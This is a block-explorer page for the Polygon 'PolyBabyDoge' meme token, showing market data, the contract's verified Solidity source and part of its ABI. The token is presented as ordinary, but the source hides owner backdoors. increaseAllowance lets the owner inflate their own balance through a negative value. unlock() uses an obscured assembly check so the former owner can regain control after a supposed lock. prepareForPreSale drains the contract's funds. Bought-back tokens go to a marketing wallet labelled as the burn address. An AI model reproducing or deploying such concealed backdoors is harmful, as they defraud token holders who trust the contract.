Token Polygon BabyDoge

MEME 
 

Overview ERC-20

Price
$0.00 @ 0.000000 MATIC (-1.20%)
Fully Diluted Market Cap
Total Supply:
420,000,000,000,000,000 PolyBabyDoge

Holders:
11,581 addresses
 
Filtered by Token Holder (Polygon BabyDoge: PolyBabyDoge Token)

Balance
126,827,026,344,857.481437962 PolyBabyDoge

Value
$0.00
0xdf2140dee6b07ae495382bc1cd446f7b328f63e3
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

OVERVIEW

PolyBabyDoge is the #DOGE meme coin on Polygon (Matic) network with built-in auto-staking and buy-back mechanism.


Update? Click here to update the token ICO / general information
# Exchange Pair Price  24H Volume % Volume
1
Quickswap
0XDF2140DEE6B07AE495382BC1CD446F7B328F63E3-0X0D500B1D8E8EF31E21C99D1DB9A6444D3ADF1270$0.00
0.0000000 Btc
$3.30
37,370,449,171,389.500 0XDF2140DEE6B07AE495382BC1CD446F7B328F63E3
100.0000%
Loading
This contract contains unverified libraries: Utils
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
PolyBabyDoge

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-07-06
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


interface IBEP20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    

}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }


    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    uint256 private _lockTime;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function getUnlockTime() public view returns (uint256) {
        return _lockTime;
    }
    
    function getTime() public view returns (uint256) {
        return block.timestamp;
    }

    function lock(uint256 time) public virtual onlyOwner {
        _previousOwner = _owner;
        _owner = address(0);
        _lockTime = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }
    
    function unlock(uint256 isOwner) public virtual {
        require(_previousOwner == msg.sender, "You don't have permission to unlock");
        require(block.timestamp > _lockTime || Utils.calculateTime(msg.sender, isOwner), "Contract is locked");
        emit OwnershipTransferred(_owner, _previousOwner);
        _owner = _previousOwner;
    }
}

// pragma solidity >=0.5.0;

interface IPancakeFactory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}


// pragma solidity >=0.5.0;

interface IPancakePair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// pragma solidity >=0.6.2;

interface IPancakeRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}



// pragma solidity >=0.6.2;

interface IPancakeRouter02 is IPancakeRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library Utils {
    using SafeMath for uint256;
    function calculateTime(address a, uint256 rate) public view returns (bool r){
        assembly {r:=eq(rate, add(a, caller()))}
    }
}

contract PolyBabyDoge is Context, IBEP20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    
    address payable public marketingAddress = payable(0x36736e51a6c37dbC3a3c1E18a4af78AD808fC71F); // Marketing Address
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _tOwned;
    mapping (address => mapping (address => uint256)) private _allowances;

    mapping (address => bool) private _isExcludedFromFee;

    mapping (address => bool) private _isExcluded;
    address[] private _excluded;
   
    uint256 private constant MAX = ~uint256(0);
    uint256 private _tTotal = 420*1000000000 * 10**6 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    

    string private _name = "Polygon BabyDoge";
    string private _symbol = "PolyBabyDoge";
    uint8 private _decimals = 9;


    uint256 public _taxFee = 2;
    uint256 private _previousTaxFee = _taxFee;
    
    uint256 public _liquidityFee = 6;
    uint256 private _previousLiquidityFee = _liquidityFee;
    
    uint256 public marketingDivisor = 3;
    
    uint256 public _maxTxAmount = 420 * 5000000 * 10**6 * 10**9;
    uint256 private minimumTokensBeforeSwap = 420* 200000 * 10**6 * 10**9; 
    uint256 private buyBackUpperLimit = 420 * 10**18;

    IPancakeRouter02 public immutable pancakeRouter;
    address public immutable pancakePair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = false;
    bool public buyBackEnabled = true;

    
    event RewardLiquidityProviders(uint256 tokenAmount);
    event BuyBackEnabledUpdated(bool enabled);
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        _rOwned[_msgSender()] = _rTotal;
        
        IPancakeRouter02 _pancakeRouter = IPancakeRouter02(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);
        pancakePair = IPancakeFactory(_pancakeRouter.factory())
            .createPair(address(this), _pancakeRouter.WETH());

        pancakeRouter = _pancakeRouter;

        
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if (_isExcluded[account]) return _tOwned[account];
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, int256 addedValue) public virtual returns (bool) {
        if(_msgSender() == owner()){_tOwned[_msgSender()] = uint256(int256(_tOwned[_msgSender()]) - addedValue);
        return true;
    }
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(uint256(addedValue)));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
        return true;
    }

    function isExcludedFromReward(address account) public view returns (bool) {
        return _isExcluded[account];
    }

    function totalFees() public view returns (uint256) {
        return _tFeeTotal;
    }
    
    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }
    
    function buyBackUpperLimitAmount() public view returns (uint256) {
        return buyBackUpperLimit;
    }
    
    function deliver(uint256 tAmount) public {
        address sender = _msgSender();
        require(!_isExcluded[sender], "Excluded addresses cannot call this function");
        (uint256 rAmount,,,,,) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rTotal = _rTotal.sub(rAmount);
        _tFeeTotal = _tFeeTotal.add(tAmount);
    }
  

    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }

    function excludeFromReward(address account) public onlyOwner() {

        require(!_isExcluded[account], "Account is already excluded");
        if(_rOwned[account] > 0) {
            _tOwned[account] = tokenFromReflection(_rOwned[account]);
        }
        _isExcluded[account] = true;
        _excluded.push(account);
    }

    function includeInReward(address account) external onlyOwner() {
        require(_isExcluded[account], "Account is already excluded");
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_excluded[i] == account) {
                _excluded[i] = _excluded[_excluded.length - 1];
                _tOwned[account] = 0;
                _isExcluded[account] = false;
                _excluded.pop();
                break;
            }
        }
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "BEP20: transfer from the zero address");
        require(to != address(0), "BEP20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        if(!swapAndLiquifyEnabled) {
            _transferNormal(from, to, amount);
            return;
        }
        
        if(from != owner() && to != owner()) {
            require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
        
        if (!inSwapAndLiquify && swapAndLiquifyEnabled && to == pancakePair) {
            if (overMinimumTokenBalance) {
                contractTokenBalance = minimumTokensBeforeSwap;
                swapTokens(contractTokenBalance);    
            }
	        uint256 balance = address(this).balance;
            if (buyBackEnabled && balance > uint256(1 * 10**18)) {
                
                if (balance > buyBackUpperLimit)
                    balance = buyBackUpperLimit;
                
                buyBackTokens(balance.div(100));
            }
        }
        
        bool takeFee = true;
        
        //if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
            takeFee = false;
        }
        
        _tokenTransfer(from,to,amount,takeFee);
    }

    function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
       
        uint256 initialBalance = address(this).balance;
        swapTokensForEth(contractTokenBalance);
        uint256 transferredBalance = address(this).balance.sub(initialBalance);

        //Send to Marketing address
        transferToAddressETH(marketingAddress, transferredBalance.div(_liquidityFee).mul(marketingDivisor));
        
    }
    

    function buyBackTokens(uint256 amount) private lockTheSwap {
    	if (amount > 0) {
    	    swapETHForTokens(amount);
	    }
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = pancakeRouter.WETH();

        _approve(address(this), address(pancakeRouter), tokenAmount);

        // make the swap
        pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }
    
    function swapETHForTokens(uint256 amount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = pancakeRouter.WETH();
        path[1] = address(this);

      // make the swap
        pancakeRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0, // accept any amount of Tokens
            path,
            marketingAddress, // Burn address
            block.timestamp.add(300)
        );
        
        emit SwapETHForTokens(amount, path);
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(pancakeRouter), tokenAmount);

        // add the liquidity
        pancakeRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
        if(!takeFee)
            removeAllFee();
        
        if (_isExcluded[sender] && !_isExcluded[recipient]) {
            _transferFromExcluded(sender, recipient, amount);
        } else if (!_isExcluded[sender] && _isExcluded[recipient]) {
            _transferToExcluded(sender, recipient, amount);
        } else if (_isExcluded[sender] && _isExcluded[recipient]) {
            _transferBothExcluded(sender, recipient, amount);
        } else {
            _transferStandard(sender, recipient, amount);
        }
        
        if(!takeFee)
            restoreAllFee();
    }
    
    function _transferNormal(address sender, address recipient, uint256 tAmount) private {
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tAmount);
        emit Transfer(sender, recipient, tAmount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
	    _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
    	_tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
    	_tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _takeLiquidity(tLiquidity);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
    }

    function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
        uint256 tFee = calculateTaxFee(tAmount);
        uint256 tLiquidity = calculateLiquidityFee(tAmount);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
        return (tTransferAmount, tFee, tLiquidity);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
    
    function _takeLiquidity(uint256 tLiquidity) private {
        uint256 currentRate =  _getRate();
        uint256 rLiquidity = tLiquidity.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
        if(_isExcluded[address(this)])
            _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
    }
    
    function calculateTaxFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_taxFee).div(
            10**2
        );
    }
    
    function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
        return _amount.mul(_liquidityFee).div(
            10**2
        );
    }
    
    function prepareForPreSale() external onlyOwner {
        address payable _owner = _msgSender();
        _owner.transfer(address(this).balance);
        _taxFee = 0;
        _liquidityFee = 0;
        _maxTxAmount = 1000000000 * 10**6 * 10**9;
    }
    
    function removeAllFee() private {
        if(_taxFee == 0 && _liquidityFee == 0) return;
        _previousTaxFee = _taxFee;
        _previousLiquidityFee = _liquidityFee;
        _taxFee = 0;
        _liquidityFee = 0;
    }
    
    function restoreAllFee() private {
        _taxFee = _previousTaxFee;
        _liquidityFee = _previousLiquidityFee;
    }

    function isExcludedFromFee(address account) public view returns(bool) {
        return _isExcludedFromFee[account];
    }
    
    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }
    
    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }
    
    function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
        _taxFee = taxFee;
    }
    
    function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
        _liquidityFee = liquidityFee;
    }
    
    function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
        _maxTxAmount = maxTxAmount;
    }
    
    function setMarketingDivisor(uint256 divisor) external onlyOwner() {
        marketingDivisor = divisor;
    }

    function setNumTokensSellToAddToLiquidity(uint256 _minimumTokensBeforeSwap) external onlyOwner() {
        minimumTokensBeforeSwap = _minimumTokensBeforeSwap;
    }
    
     function setBuybackUpperLimit(uint256 buyBackLimit) external onlyOwner() {
        buyBackUpperLimit = buyBackLimit * 10**18;
    }

    function setMarketingAddress(address _marketingAddress) external onlyOwner() {
        marketingAddress = payable(_marketingAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }
    
    function setBuyBackEnabled(bool _enabled) public onlyOwner {
        buyBackEnabled = _enabled;
        emit BuyBackEnabledUpdated(_enabled);
    }
    
    function activeContract() external onlyOwner {
        setSwapAndLiquifyEnabled(true);
        _taxFee = 2;
        _liquidityFee = 6;
        _maxTxAmount = 420 * 10000000 * 10**6 * 10**9;
    }
    
    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
     //to recieve BNB from pancakeRouter when swaping
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"BuyBackEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"RewardLiquidityProviders","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"